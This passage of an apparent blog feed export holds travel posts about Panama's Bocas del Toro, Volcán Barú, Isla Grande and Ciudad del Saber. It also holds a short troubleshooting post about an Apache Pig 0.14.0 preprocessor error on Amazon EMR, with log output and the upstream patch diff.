target=\"_blank\">\n        <img src=\"\/blog\/ppp-09-a-trip-to-paradise-bocas-del-toro\/bocas-del-toro-1_thumb.jpg\" alt=\"Surf's up in the afternoon!\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Having had enough food, we rented a bike for $5, took our bags and went to the nearest beach. Feeling the refreshing wind, while riding a bike on an empty road on your way to a tropical beach was one of the best experiences of the trip. Despite having quite some algae, we set at the closest beach about three kilometers from the hostel. After trudging through the first two meters of algae, the waters were as clear as ever and the sea calm. The first day ended refreshingly and we spent the evening at a small bar, the <em>Playa Bluff Lounge<\/em> near the beach, where a buddha was looking at the surge.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/ppp-09-a-trip-to-paradise-bocas-del-toro\/bocas-del-toro-2.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1187\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-09-a-trip-to-paradise-bocas-del-toro\/bocas-del-toro-2_thumb.jpg\" alt=\"Beautiful cliff view near the beach\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>On Saturday the other part of the group arrived. Equipped with a surfboard and having rented bikes again, we spent the day at <a href=\"https:\/\/www.google.com.pa\/maps\/place\/Bluff+Beach+and+Forest\/@9.4070909,-82.248228,15.73z\/data=!4m5!3m4!1s0x0:0x308e4be1a11cacd8!8m2!3d9.4060461!4d-82.2503793?hl=de\">Playa Bluff beach<\/a>, swam with the meter-high waves and enjoyed the sun. I have never seen a beach like this before, especially that empty. Walking around a lot, we only managed to make out two other groups - far away. We stayed until the evening when we had to return the bikes.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/ppp-09-a-trip-to-paradise-bocas-del-toro\/bocas-del-toro-3.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1187\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-09-a-trip-to-paradise-bocas-del-toro\/bocas-del-toro-3_thumb.jpg\" alt=\"Amazing evening view of the beach\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>On Sunday, the day of our departure, we took the chance and booked a boat tour offered by the hostel. For $25 per person we got the chance to explore the bays between the countless mangrove islands. The final part of the trip lead us to <em>Cayos Zapatillas<\/em>, two small islands east of <em>Isla Bastimentos<\/em>. We were greeted with endless beaches, dense jungle and clear waters.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/ppp-09-a-trip-to-paradise-bocas-del-toro\/bocas-del-toro-4.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"926\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-09-a-trip-to-paradise-bocas-del-toro\/bocas-del-toro-4_thumb.jpg\" alt=\"Beach view with boat\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>After spending a few hours on the island, we headed back on the boat. In the middle of the sea we did a short break to do snorkeling in the transparent waters. Surrounded by countless fishes I was able to see everything through the transparent waters!<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-4\">\n    <a href=\"\/blog\/ppp-09-a-trip-to-paradise-bocas-del-toro\/bocas-del-toro-5.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1187\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-09-a-trip-to-paradise-bocas-del-toro\/bocas-del-toro-5_thumb.jpg\" alt=\"Transparent waters\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p><em>Bocas del Toro<\/em> is an absolute must for everyone who visits Panama. It is one of the most amazing places I have seen so far and sure is worth the bus trip from Panama City - even though you can also fly if you have the money. No matter how you get there - enjoy!<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"PPP #08 Conquering Volc\u00e1n Bar\u00fa","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/06\/13\/ppp-08-conquering-volcan-baru.html","rel":"alternate"}},"published":"2016-06-13T00:00:00+02:00","updated":"2016-06-13T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-06-13:\/2016\/06\/13\/ppp-08-conquering-volcan-baru.html","summary":"<p>This was an extraordinary hiking trip full of firsts. I have never ever before been hiking<\/p>\n<ul>\n<li>in Panama<\/li>\n<li>in tropical weather<\/li>\n<li>on an active volcano<\/li>\n<li>on a mountain higher than 2,500m<\/li>\n<\/ul>\n<p>It all begins at the Albrook bus station in Panam\u00e1 City. In the night from Friday to Saturday \u2026<\/p>","content":"<p>This was an extraordinary hiking trip full of firsts. I have never ever before been hiking<\/p>\n<ul>\n<li>in Panama<\/li>\n<li>in tropical weather<\/li>\n<li>on an active volcano<\/li>\n<li>on a mountain higher than 2,500m<\/li>\n<\/ul>\n<p>It all begins at the Albrook bus station in Panam\u00e1 City. In the night from Friday to Saturday at midnight we take the bus to David, Chiriqu\u00ed. The bus system in Panam\u00e1 seems reliable and this particular bus was comfortable. For some reason we ended up in the VIP section without really paying any more. We took the opportunity and enjoyed! The ride lasted about six hours and the next morning we safely arrived in David. We took a small break and it didn't take long until we found ourselves sitting in the next bus towards <em>Boquete<\/em>, a small city close to the volcano.<\/p>\n<p>After our arrival and a short breakfast, we took the chance of our free time and explored Boquete and its surroundings a little. The strong greens and clear blue sky, but also parts of the architecture reminded me of my hikes in Switzerland last summer. The sights are amazing and the tropical flora were the perfect \"exotic\" touch for me.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-08-conquering-volcan-baru\/boquete-baru-1.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1280\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-08-conquering-volcan-baru\/boquete-baru-1_thumb.jpg\" alt=\"Small river running through Boquete\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>In the hostel <em>Valle de las Flores<\/em> we spent the rest of the day relaxing, watching the ongoing football matches of <em>Euro '16<\/em> and <em>Copa Centenario '16<\/em>. After all, the night would be a rough one. The plan was to leave at Saturday midnight, climb the mountain at night and watch the sunrise on the summit. After all, watching a sunrise from a total height of about 3,500m above sea level must be impressive! At 23:30 we took the shuttle to the foot of the mountain and started the hike. The roads were rough with big rocks everywhere.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/ppp-08-conquering-volcan-baru\/boquete-baru-2.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-08-conquering-volcan-baru\/boquete-baru-2_thumb.jpg\" alt=\"Rocky roads and fog near the volcano summit\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Treading lightly, we made our way through the night past endless walls of trees. After about an hour of walking we reached a glade where the darkness seized and the ground was lit by the dim moonlight. We turned off our lamps and watched the astonishingly clear sky. At this altitude it felt like there was nothing between me and the stars. While we were admiring the beauty of the cosmos, multiple shooting stars passed by!<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/ppp-08-conquering-volcan-baru\/boquete-baru-3.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1280\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-08-conquering-volcan-baru\/boquete-baru-3_thumb.jpg\" alt=\"The clear night sky\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>After <em>six hours<\/em> of hiking, having travelled <em>13km<\/em>, we finally made it to the top - just in time! To our disappointment, there were big clouds in the way so that there was just a slit of red light making it through. Nonetheless, the experience of reaching your limits and being rewarded with an amazing view above clouds itself was worth the trip.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/ppp-08-conquering-volcan-baru\/boquete-baru-4.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"571\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-08-conquering-volcan-baru\/boquete-baru-4_thumb.jpg\" alt=\"Panorama of the sunrise with clouds from the summit\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The six hours of hiking down again, were an absolute torture. Arriving in the hostel after 12 hours of pure hiking and more than 26km distance travelled, we all were finished. We did not see a clear sunrise. Also, if the conditions are very well, you can see both the Pacific Ocean and the Caribbean Sea. That did not happen either, however the feeling of success displaces even the smallest doubt that it was not worth it.<\/p>\n<p>Here's another small video with some impressions. Enjoy!<\/p>\n<iframe width=\"580\" height=\"326\" src=\"https:\/\/www.youtube.com\/embed\/wvFwTp0Jerc?t=70\" frameborder=\"0\" allowfullscreen><\/iframe>","category":{"@attributes":{"term":"Personal"}}},{"title":"PPP #07 Isla Grande","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/06\/05\/ppp-07-isla-grande.html","rel":"alternate"}},"published":"2016-06-05T00:00:00+02:00","updated":"2016-06-05T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-06-05:\/2016\/06\/05\/ppp-07-isla-grande.html","summary":"<p>A sunny day, 30\u00b0C and air humidity so high that breathing feels like waterboarding. Perfect conditions to go to the beach! Just some hours by car in the province of Col\u00f3n north of Panam\u00e1 City, you can find <em>Isla Grande<\/em>. This island is your typical small Caribbean island with \u2026<\/p>","content":"<p>A sunny day, 30\u00b0C and air humidity so high that breathing feels like waterboarding. Perfect conditions to go to the beach! Just some hours by car in the province of Col\u00f3n north of Panam\u00e1 City, you can find <em>Isla Grande<\/em>. This island is your typical small Caribbean island with clear waters and palm trees. From <em>Muelle de La Guaira<\/em> the crossing by boat just takes some minutes with the speedboat and costs less than $2.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-07-isla-grande\/isla-grande-1.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-07-isla-grande\/isla-grande-1_thumb.jpg\" alt=\"The speedboat dock\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Isla Grande is a rather touristic place with plenty restaurants and small shops at the coastline and a hotel right at the dock. Sadly, many tourists, but also Panamanians do not value the natural beauty as much and leave their trash behind. That's why you need some time to find a spot at the coast where there are no empty bottles or plastic wrappings lying around. But once you find that, it's good to relax!<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/ppp-07-isla-grande\/isla-grande-2.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-07-isla-grande\/isla-grande-2_thumb.jpg\" alt=\"From afar it looks cleaner\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>In summer time, the surfing conditions here are perfect. A little more far from the beach there is a strong current, so take care! However as the algae surrounding the island form a natural barrier, you usually don't come into a dangerous area unless you deliberately swim through them.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/ppp-07-isla-grande\/isla-grande-3.jpg\" data-pswp-width=\"1620\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-07-isla-grande\/isla-grande-3_thumb.jpg\" alt=\"Clear waters\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Surprisingly on a Sunday there weren't many people. Near the dock, probably because of the proximity to the hotel, it was hard to find a good spot. After that the coastline was just plain dirty. After some minutes of walking, however, the view was nice and the trash was gone to the greatest extent.<\/p>\n<p>All in all, Isla Grande is a nice place to visit and relax. It certainly is cleaner and more peaceful than Panam\u00e1 City. Far away from the masses crammed into the streets and noise of the cars it offers a great chance to enjoy the sun and enjoy the waters with friends!<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"ERROR 2999: Invalid preprocessor command specified","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/06\/03\/error-2999-invalid-preprocessor-command-specified.html","rel":"alternate"}},"published":"2016-06-03T00:00:00+02:00","updated":"2016-06-03T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-06-03:\/2016\/06\/03\/error-2999-invalid-preprocessor-command-specified.html","summary":"<p>I am quite new to working with <a href=\"https:\/\/aws.amazon.com\/elasticmapreduce\/\">Amazon Elastic MapReduce<\/a> clusters. To do some large scale data analysis, I built a Pig script and ran it on a local pig installation to verify its functionality. Works. Neat! Let's push it to the cluster and get some serious results on the \u2026<\/p>","content":"<p>I am quite new to working with <a href=\"https:\/\/aws.amazon.com\/elasticmapreduce\/\">Amazon Elastic MapReduce<\/a> clusters. To do some large scale data analysis, I built a Pig script and ran it on a local pig installation to verify its functionality. Works. Neat! Let's push it to the cluster and get some serious results on the large dataset!<\/p>\n<p>Luckily for my bill, it didn't take too long to fail.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"o\">[<\/span>hadoop@ip-XXX-XXX-XXX-XXX<span class=\"w\"> <\/span>samples<span class=\"o\">]<\/span>$<span class=\"w\"> <\/span>pig<span class=\"w\"> <\/span>-x<span class=\"w\"> <\/span>mapreduce<span class=\"w\"> <\/span>-f<span class=\"w\"> <\/span>pig\/examples\/snort.pig<span class=\"w\"> <\/span>-param<span class=\"w\"> <\/span><span class=\"nv\">pcap<\/span><span class=\"o\">=<\/span>data\/sample204.pcap\n<span class=\"m\">16<\/span>\/06\/03<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:05:13<span class=\"w\"> <\/span>INFO<span class=\"w\"> <\/span>pig.ExecTypeProvider:<span class=\"w\"> <\/span>Trying<span class=\"w\"> <\/span>ExecType<span class=\"w\"> <\/span>:<span class=\"w\"> <\/span>LOCAL\n<span class=\"m\">16<\/span>\/06\/03<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:05:13<span class=\"w\"> <\/span>INFO<span class=\"w\"> <\/span>pig.ExecTypeProvider:<span class=\"w\"> <\/span>Trying<span class=\"w\"> <\/span>ExecType<span class=\"w\"> <\/span>:<span class=\"w\"> <\/span>MAPREDUCE\n<span class=\"m\">16<\/span>\/06\/03<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:05:13<span class=\"w\"> <\/span>INFO<span class=\"w\"> <\/span>pig.ExecTypeProvider:<span class=\"w\"> <\/span>Picked<span class=\"w\"> <\/span>MAPREDUCE<span class=\"w\"> <\/span>as<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span>ExecType\n<span class=\"m\">94<\/span><span class=\"w\">   <\/span><span class=\"o\">[<\/span>main<span class=\"o\">]<\/span><span class=\"w\"> <\/span>INFO<span class=\"w\">  <\/span>org.apache.pig.Main<span class=\"w\">  <\/span>-<span class=\"w\"> <\/span>Apache<span class=\"w\"> <\/span>Pig<span class=\"w\"> <\/span>version<span class=\"w\"> <\/span><span class=\"m\">0<\/span>.14.0-amzn-0<span class=\"w\"> <\/span><span class=\"o\">(<\/span>r:<span class=\"w\"> <\/span>unknown<span class=\"o\">)<\/span><span class=\"w\"> <\/span>compiled<span class=\"w\"> <\/span>Apr<span class=\"w\"> <\/span><span class=\"m\">06<\/span><span class=\"w\"> <\/span><span class=\"m\">2016<\/span>,<span class=\"w\"> <\/span><span class=\"m\">22<\/span>:40:48\n<span class=\"m\">16<\/span>\/06\/03<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:05:13<span class=\"w\"> <\/span>INFO<span class=\"w\"> <\/span>pig.Main:<span class=\"w\"> <\/span>Apache<span class=\"w\"> <\/span>Pig<span class=\"w\"> <\/span>version<span class=\"w\"> <\/span><span class=\"m\">0<\/span>.14.0-amzn-0<span class=\"w\"> <\/span><span class=\"o\">(<\/span>r:<span class=\"w\"> <\/span>unknown<span class=\"o\">)<\/span><span class=\"w\"> <\/span>compiled<span class=\"w\"> <\/span>Apr<span class=\"w\"> <\/span><span class=\"m\">06<\/span><span class=\"w\"> <\/span><span class=\"m\">2016<\/span>,<span class=\"w\"> <\/span><span class=\"m\">22<\/span>:40:48\n<span class=\"m\">98<\/span><span class=\"w\">   <\/span><span class=\"o\">[<\/span>main<span class=\"o\">]<\/span><span class=\"w\"> <\/span>INFO<span class=\"w\">  <\/span>org.apache.pig.Main<span class=\"w\">  <\/span>-<span class=\"w\"> <\/span>Logging<span class=\"w\"> <\/span>error<span class=\"w\"> <\/span>messages<span class=\"w\"> <\/span>to:<span class=\"w\"> <\/span>\/mnt\/var\/log\/pig\/pig_1464962713368.log\n<span class=\"m\">16<\/span>\/06\/03<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:05:13<span class=\"w\"> <\/span>INFO<span class=\"w\"> <\/span>pig.Main:<span class=\"w\"> <\/span>Logging<span class=\"w\"> <\/span>error<span class=\"w\"> <\/span>messages<span class=\"w\"> <\/span>to:<span class=\"w\"> <\/span>\/mnt\/var\/log\/pig\/pig_1464962713368.log\n<span class=\"m\">2542<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span>main<span class=\"o\">]<\/span><span class=\"w\"> <\/span>INFO<span class=\"w\">  <\/span>org.apache.pig.Main<span class=\"w\">  <\/span>-<span class=\"w\"> <\/span>Final<span class=\"w\"> <\/span>script<span class=\"w\"> <\/span>path:<span class=\"w\"> <\/span>\/home\/hadoop\/packetpig\/pig\/examples\/snort.pig\n<span class=\"m\">16<\/span>\/06\/03<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:05:15<span class=\"w\"> <\/span>INFO<span class=\"w\"> <\/span>pig.Main:<span class=\"w\"> <\/span>Final<span class=\"w\"> <\/span>script<span class=\"w\"> <\/span>path:<span class=\"w\"> <\/span>\/home\/hadoop\/packetpig\/pig\/examples\/snort.pig\n<span class=\"m\">2563<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span>main<span class=\"o\">]<\/span><span class=\"w\"> <\/span>INFO<span class=\"w\">  <\/span>org.apache.pig.impl.util.Utils<span class=\"w\">  <\/span>-<span class=\"w\"> <\/span>Default<span class=\"w\"> <\/span>bootup<span class=\"w\"> <\/span>file<span class=\"w\"> <\/span>\/home\/hadoop\/.pigbootup<span class=\"w\"> <\/span>not<span class=\"w\"> <\/span>found\n<span class=\"m\">16<\/span>\/06\/03<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:05:15<span class=\"w\"> <\/span>INFO<span class=\"w\"> <\/span>util.Utils:<span class=\"w\"> <\/span>Default<span class=\"w\"> <\/span>bootup<span class=\"w\"> <\/span>file<span class=\"w\"> <\/span>\/home\/hadoop\/.pigbootup<span class=\"w\"> <\/span>not<span class=\"w\"> <\/span>found\n<span class=\"m\">2698<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span>main<span class=\"o\">]<\/span><span class=\"w\"> <\/span>ERROR<span class=\"w\"> <\/span>org.apache.pig.Main<span class=\"w\">  <\/span>-<span class=\"w\"> <\/span>ERROR<span class=\"w\"> <\/span><span class=\"m\">2999<\/span>:<span class=\"w\"> <\/span>Unexpected<span class=\"w\"> <\/span>internal<span class=\"w\"> <\/span>error.<span class=\"w\"> <\/span>Pig<span class=\"w\"> <\/span>Internal<span class=\"w\"> <\/span>Error.<span class=\"w\"> <\/span>Invalid<span class=\"w\"> <\/span>preprocessor<span class=\"w\"> <\/span><span class=\"nb\">command<\/span><span class=\"w\"> <\/span>specified<span class=\"w\"> <\/span>:<span class=\"w\"> <\/span>%DEFAULT\n<span class=\"m\">16<\/span>\/06\/03<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:05:15<span class=\"w\"> <\/span>ERROR<span class=\"w\"> <\/span>pig.Main:<span class=\"w\"> <\/span>ERROR<span class=\"w\"> <\/span><span class=\"m\">2999<\/span>:<span class=\"w\"> <\/span>Unexpected<span class=\"w\"> <\/span>internal<span class=\"w\"> <\/span>error.<span class=\"w\"> <\/span>Pig<span class=\"w\"> <\/span>Internal<span class=\"w\"> <\/span>Error.<span class=\"w\"> <\/span>Invalid<span class=\"w\"> <\/span>preprocessor<span class=\"w\"> <\/span><span class=\"nb\">command<\/span><span class=\"w\"> <\/span>specified<span class=\"w\"> <\/span>:<span class=\"w\"> <\/span>%DEFAULT\nDetails<span class=\"w\"> <\/span>at<span class=\"w\"> <\/span>logfile:<span class=\"w\"> <\/span>\/mnt\/var\/log\/pig\/pig_1464962713368.log\n<span class=\"m\">2740<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span>main<span class=\"o\">]<\/span><span class=\"w\"> <\/span>INFO<span class=\"w\">  <\/span>org.apache.pig.Main<span class=\"w\">  <\/span>-<span class=\"w\"> <\/span>Pig<span class=\"w\"> <\/span>script<span class=\"w\"> <\/span>completed<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span>seconds<span class=\"w\"> <\/span>and<span class=\"w\"> <\/span><span class=\"m\">915<\/span><span class=\"w\"> <\/span>milliseconds<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">2915<\/span><span class=\"w\"> <\/span>ms<span class=\"o\">)<\/span>\n<span class=\"m\">16<\/span>\/06\/03<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:05:16<span class=\"w\"> <\/span>INFO<span class=\"w\"> <\/span>pig.Main:<span class=\"w\"> <\/span>Pig<span class=\"w\"> <\/span>script<span class=\"w\"> <\/span>completed<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span>seconds<span class=\"w\"> <\/span>and<span class=\"w\"> <\/span><span class=\"m\">915<\/span><span class=\"w\"> <\/span>milliseconds<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">2915<\/span><span class=\"w\"> <\/span>ms<span class=\"o\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>Wait, what? How can this fail? Setting %DEFAULT values for script parameters is a pretty standard thing! Well, turns out, all Amazon EMR components <a href=\"https:\/\/docs.aws.amazon.com\/ElasticMapReduce\/latest\/ReleaseGuide\/emr-release-components.html\">are running on Pig 0.14.0<\/a>. A pig version <a href=\"https:\/\/pig.apache.org\/releases.html\">released in November 2014<\/a>. The latest version (0.15.0) was released in June 2015! Isn't that enough time to at least provide a newer version to non-legacy customers?<\/p>\n<p>Turns out, there's a <a href=\"https:\/\/issues.apache.org\/jira\/browse\/PIG-4342\">bug<\/a> in version 0.14.0 that affects the preprocessor parsing. Let's look at the <a href=\"https:\/\/issues.apache.org\/jira\/secure\/attachment\/12683376\/PIG-4342-1.patch\">patch diff<\/a>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"w\">         <\/span><span class=\"kd\">final<\/span><span class=\"w\"> <\/span><span class=\"n\">String<\/span><span class=\"w\"> <\/span><span class=\"n\">declareToken<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;%declare&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">         <\/span><span class=\"kd\">final<\/span><span class=\"w\"> <\/span><span class=\"n\">String<\/span><span class=\"w\"> <\/span><span class=\"n\">defaultToken<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;%default&quot;<\/span><span class=\"p\">;<\/span>\n\n<span class=\"o\">-<\/span><span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">preprocessorCmd<\/span><span class=\"p\">.<\/span><span class=\"na\">equals<\/span><span class=\"p\">(<\/span><span class=\"n\">declareToken<\/span><span class=\"p\">))<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"o\">+<\/span><span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">preprocessorCmd<\/span><span class=\"p\">.<\/span><span class=\"na\">toLowerCase<\/span><span class=\"p\">().<\/span><span class=\"na\">equals<\/span><span class=\"p\">(<\/span><span class=\"n\">declareToken<\/span><span class=\"p\">))<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">             <\/span><span class=\"n\">filter<\/span><span class=\"p\">.<\/span><span class=\"na\">validate<\/span><span class=\"p\">(<\/span><span class=\"n\">PigCommandFilter<\/span><span class=\"p\">.<\/span><span class=\"na\">Command<\/span><span class=\"p\">.<\/span><span class=\"na\">DECLARE<\/span><span class=\"p\">);<\/span>\n<span class=\"o\">-<\/span><span class=\"w\">        <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">else<\/span><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">preprocessorCmd<\/span><span class=\"p\">.<\/span><span class=\"na\">equals<\/span><span class=\"p\">(<\/span><span class=\"n\">defaultToken<\/span><span class=\"p\">))<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"o\">+<\/span><span class=\"w\">        <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">else<\/span><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">preprocessorCmd<\/span><span class=\"p\">.<\/span><span class=\"na\">toLowerCase<\/span><span class=\"p\">().<\/span><span class=\"na\">equals<\/span><span class=\"p\">(<\/span><span class=\"n\">defaultToken<\/span><span class=\"p\">))<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">             <\/span><span class=\"n\">filter<\/span><span class=\"p\">.<\/span><span class=\"na\">validate<\/span><span class=\"p\">(<\/span><span class=\"n\">PigCommandFilter<\/span><span class=\"p\">.<\/span><span class=\"na\">Command<\/span><span class=\"p\">.<\/span><span class=\"na\">DEFAULT<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">         <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">else<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">             <\/span><span class=\"k\">throw<\/span><span class=\"w\"> <\/span><span class=\"k\">new<\/span><span class=\"w\"> <\/span><span class=\"n\">IllegalArgumentException<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;Pig Internal Error. Invalid preprocessor command specified : &quot;<\/span>\n<\/code><\/pre><\/div>\n\n<p>Awesome! So there's just a problem with parsing all-uppercase <code>DEFAULT<\/code> and <code>DECLARE<\/code> instructions. This means we don't actually have to fight with the source code and manually implement the patch. Just change all affected instructions to lowercase and Bob's your uncle!<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"PPP #06 The City of Knowledge","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/05\/19\/ppp-06-the-city-of-knowledge.html","rel":"alternate"}},"published":"2016-05-19T00:00:00+02:00","updated":"2016-05-19T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-05-19:\/2016\/05\/19\/ppp-06-the-city-of-knowledge.html","summary":"<p>Located about 20 minutes away from the Technological University of Panama - assuming you don't run into a traffic jam - lies the <em>Ciudad del Saber<\/em>, the City of Knowledge. When Panama was occupied by the United States, this base directly in front of the Miraflores locks was called Fort Clayton and \u2026<\/p>","content":"<p>Located about 20 minutes away from the Technological University of Panama - assuming you don't run into a traffic jam - lies the <em>Ciudad del Saber<\/em>, the City of Knowledge. When Panama was occupied by the United States, this base directly in front of the Miraflores locks was called Fort Clayton and the US Army headquarters here in Panama City. After the US departure the government founded a non-profit organization with the mission to turn the vacated facilities at Clayton into a center for knowledge exchange. Amidst the green beauty you can see the buildings showing logos of the Red Cross, the United Nations, the World Food Program, Plan International and plenty more.<\/p>\n<p>As soon as the research project I am working on at the University started to show a lot of potential we began to look for funding. After giving a talk in their headquarters located in Ciudad del Saber it was an amazing feeling to leave the building and take a walk in the park.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-06-the-city-of-knowledge\/ciudad-del-saber-1.jpg\" data-pswp-width=\"3840\" data-pswp-height=\"2160\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-06-the-city-of-knowledge\/ciudad-del-saber-1_thumb.jpg\" alt=\"The park located near the center\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>I don't only enjoy the sun and humid air here. The fauna is also catching my eye over and over again. I have never casually walked next to palms and giant mango trees. It is a small zen moment when there is just walking and to feel how with every shadow patch cast onto my skin by the countless leaves the almost burning sensation from the sunlight disappears for the fraction of a second only to appear again in the next moment.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/ppp-06-the-city-of-knowledge\/ciudad-del-saber-2.jpg\" data-pswp-width=\"3840\" data-pswp-height=\"2160\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-06-the-city-of-knowledge\/ciudad-del-saber-2_thumb.jpg\" alt=\"A giant mango tree\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The military purpose shaped Clayton. Most notably you can still see structures that used to be checkpoints and army quarters. The architecture is however not only pragmatic, but also very beautiful and spacious with many green elements and beautiful design. Especially the villas, formerly used as quarters if I recall correctly, caught my eye.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/ppp-06-the-city-of-knowledge\/ciudad-del-saber-3.jpg\" data-pswp-width=\"3840\" data-pswp-height=\"2160\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-06-the-city-of-knowledge\/ciudad-del-saber-3_thumb.jpg\" alt=\"One of the villas\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>It's a 